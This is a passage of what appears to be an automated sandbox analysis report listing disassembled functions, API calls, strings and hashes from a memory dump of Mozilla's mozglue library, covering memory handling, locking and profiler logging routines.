Part of subcall function 6C9CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9CA4BE
Part of subcall function 6C9CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9CA6B6

Strings

z, xrefs: 6C9CA6AE
0, xrefs: 6C9CA5FB

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 63754fb347472aa17635b7d9c80de5ab71e51f668a522b9ecf7f57ce7d98b1fb
Instruction ID: 39c2075a9108b021f6ccd9e90dc490614a935261fe4c86eba3e5406684d4ba8f
Opcode Fuzzy Hash: 63754fb347472aa17635b7d9c80de5ab71e51f668a522b9ecf7f57ce7d98b1fb
Instruction Fuzzy Hash: E1411571A097459FC341DF28C480A9EBBE5BF99354F408A2EF49987650EB30E649CB83

Function 6C9578C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C9D008B), ref: 6C957B89
free.MOZGLUE(?,6C9D008B), ref: 6C957BAC

Part of subcall function 6C9578C0: free.MOZGLUE(?,6C9D008B), ref: 6C957BCF

free.MOZGLUE(?,6C9D008B), ref: 6C957BF2

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: c97dce9f88387437935dbfea9f53d543657e2f8a2f1422a251793a417184a63e
Instruction ID: 5c69b13714031e60bac5e4748cd1f4d6f840b54876e96ee0871369d76e72af8e
Opcode Fuzzy Hash: c97dce9f88387437935dbfea9f53d543657e2f8a2f1422a251793a417184a63e
Instruction Fuzzy Hash: BFC1D571E111288BEB24CB28CC90BADB772AF51314F9583A9D41AABBC0C731DF958F51

Function 6C999420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
__Init_thread_footer.LIBCMT ref: 6C99949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C99946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C999459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C99947D

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 6b31bef862b1b3e34069b05751cd7b6a49fd42028fce8d7da1d07288b4c00fa5
Instruction ID: 0060e0053e48fd227103280c745b42c4851acb221d50019b609d9371d7c825ba
Opcode Fuzzy Hash: 6b31bef862b1b3e34069b05751cd7b6a49fd42028fce8d7da1d07288b4c00fa5
Instruction Fuzzy Hash: 24014C30A049008BDF009B5CD806A4933B99B4673EF1A8537DC0EA7B51D731F5E48957

Function 6C9A0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9A0F88
GetCurrentThreadId.KERNEL32 ref: 6C9A0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C9A1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9A10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C9A114B

Part of subcall function 6C998AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C9B1563), ref: 6C998BD5

free.MOZGLUE(?), ref: 6C9A1174
free.MOZGLUE(?), ref: 6C9A1186

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 462acd296da7f4db0e065d7a0398a44a1d8b4bfcb795dbb4eb983d3cab5ba282
Instruction ID: 648c00c2e434485eead290350164773a41767400858ae7ae70d9d001ba757811
Opcode Fuzzy Hash: 462acd296da7f4db0e065d7a0398a44a1d8b4bfcb795dbb4eb983d3cab5ba282
Instruction Fuzzy Hash: EB61C0756087409BDB10CF65C88079AB7F5BFE6308F14891DE88957711EB31E59ACB82

Function 6C95B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6AC

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C95B61E), ref: 6C95B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B79A

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: b50c49a22703ef48f9547e91819f0578a03f93acfd9323d28725a1d177805fb5
Instruction ID: b516a2354dfa021fb43a24e7c9b1a939dac2c0a3959cf5535051a4fa64861aff
Opcode Fuzzy Hash: b50c49a22703ef48f9547e91819f0578a03f93acfd9323d28725a1d177805fb5
Instruction Fuzzy Hash: A441B4B2D001159FCB04DF68DC905AEBBB9BF54324F650629E825E7B80E731E9148BE2

Function 6C95EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C9D5104), ref: 6C95EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C95EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C95EFEC
free.MOZGLUE(?), ref: 6C95F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C95F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C95F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C95F065
moz_xmalloc.MOZGLUE ref: 6C95F072

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 31615140a69075855072b725a9caeefa3ca0091c5be611c9ca1adb42af21a160
Instruction ID: 146f2bb342db8a7aa6bd0efe71a3012a5e293157081bace1c5bacf8673975fb6
Opcode Fuzzy Hash: 31615140a69075855072b725a9caeefa3ca0091c5be611c9ca1adb42af21a160
Instruction Fuzzy Hash: 4C41D8B1A001059FCB08CF78D8809BE7769AF94328B240228E825D7794EB31E925C7E1

Function 6C9CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9CB5F4
__Init_thread_footer.LIBCMT ref: 6C9CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9CB61F
std::_Facet_Register.LIBCPMT ref: 6C9CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9CB655

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: bab9a921b2db941f649d19ba83cea1f2c426f22f3eb5a88241d26960ebdfa2d5
Instruction ID: 5a51aad46e7618017a0a5dad08e710467d91c62202b3c6104c23169ecf2d6adf
Opcode Fuzzy Hash: bab9a921b2db941f649d19ba83cea1f2c426f22f3eb5a88241d26960ebdfa2d5
Instruction Fuzzy Hash: CE319171B04604CBCB00DFA9C8599AEB7F5FF9A325B250519D902A7780DB31F94ACB92

Function 6C969830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C9B7ABE), ref: 6C96985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C9B7ABE), ref: 6C9698A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C969909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C969918
free.MOZGLUE(?), ref: 6C969975

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 4137d03381a025ad36ab9a787ded1573bf3e4c4ad511091d4a4daa24cf822f72
Instruction ID: 315f7fbe94da587da728d85a16304f4067f99594be10b55fb17a2c376845603a
Opcode Fuzzy Hash: 4137d03381a025ad36ab9a787ded1573bf3e4c4ad511091d4a4daa24cf822f72
Instruction Fuzzy Hash: C471AA746047068FD724CF29C480966BBF5FF4A3287254AADE85A8BF90D731F841CB91

Function 6C96B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE), ref: 6C96B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B896

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 041c6b22a8d40372991466ac8ae860c2a7069c3b8c3ee84659335f43ccf86f9c
Instruction ID: 246f456b76d7412a1ea2c0a98076613406390562ee2cffc32c3731d00e4ffd17
Opcode Fuzzy Hash: 041c6b22a8d40372991466ac8ae860c2a7069c3b8c3ee84659335f43ccf86f9c
Instruction Fuzzy Hash: 3E519C757046008FDB24CF5AC484A2AB7F5FF89318B69859DE98A97B81D731EC01DB80

Function 6C9A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C9A1BE3,?,?,6C9A1D96,00000000), ref: 6C9A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C9A1BE3,?,?,6C9A1D96,00000000), ref: 6C9A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C9A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9A1DDA

Part of subcall function 6C9A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C9A1F03
Part of subcall function 6C9A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C9A1DF2,00000000,00000000), ref: 6C9A1F0C
Part of subcall function 6C9A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C9A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C9A1DF4

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 434161ff008567d77c09c505c1b100bb3110490fdb6e46222be36b3a6b6c0cd2
Instruction ID: 069d8256c4beba576eed91c856fefd64cfa7b12fa5074811dcdac2462626f73d
Opcode Fuzzy Hash: 434161ff008567d77c09c505c1b100bb3110490fdb6e46222be36b3a6b6c0cd2
Instruction Fuzzy Hash: B54145B5204B01DFCB10DF69C488A56BBF9FB99714F20442EE95A87B41CB71F854CB91

Function 6C9638A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9DE220,?,?,?,?,6C963899,?), ref: 6C9638B2
ReleaseSRWLockExclusive.KERNEL32(6C9DE220,?,?,?,6C963899,?), ref: 6C9638C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C963899,?), ref: 6C9638F1
RtlFreeHeap.NTDLL ref: 6C963920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C963899,?), ref: 6C96392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C963899,?), ref: 6C963943
RtlFreeHeap.NTDLL ref: 6C96396E

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 24adca4353828bea103a318e3c2a3e7c98cfdf66cd00006cec9ba144382acbcd
Instruction ID: f9de067691d91b87a0a44fd442d7e2c6e8e41b5543c4b44dbf52ae36c0791fc8
Opcode Fuzzy Hash: 24adca4353828bea103a318e3c2a3e7c98cfdf66cd00006cec9ba144382acbcd
Instruction Fuzzy Hash: C721BF72600A10DFE7209F26C880B96BBA9FF55328F258469D95A97F90C730E985CB91

Function 6C9984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9985AC

Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99767F
Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C997693
Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9985B2

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: cac8eff9d937dac9b919cd4761e3ea95aef2999215e0182770f09a00ee56c3fe
Instruction ID: b7c9933464b9c951249474b6a6b36f53743d4bbb47717c3bf412c8ba39d925c4
Opcode Fuzzy Hash: cac8eff9d937dac9b919cd4761e3ea95aef2999215e0182770f09a00ee56c3fe
Instruction Fuzzy Hash: 48218E742006019FDB18DB28C888A6AB7B9AF9430DF28492DE55BD3B41DB31F958CB56

Function 6C961640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C961699
VerSetConditionMask.NTDLL ref: 6C9616CB
VerSetConditionMask.NTDLL ref: 6C9616D7
VerSetConditionMask.NTDLL ref: 6C9616DE
VerSetConditionMask.NTDLL ref: 6C9616E5
VerSetConditionMask.NTDLL ref: 6C9616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9616F9

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 8f8a2cd46451d108828f2a413a0759199c5cf10e5333fb35fd7ac93a3b1621c1
Instruction ID: bba0b897be92b6e228a67421185f6b1bd8524806e54ce4ec3bb1d896e3242523
Opcode Fuzzy Hash: 8f8a2cd46451d108828f2a413a0759199c5cf10e5333fb35fd7ac93a3b1621c1
Instruction Fuzzy Hash: 9821D5B07442086BFB106A65CC45FBBB37CDF96704F044528F645AB6C0C674EE54C6A1

Function 6C99F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C99F598), ref: 6C99F621

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F637
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F645
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C99F62A

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

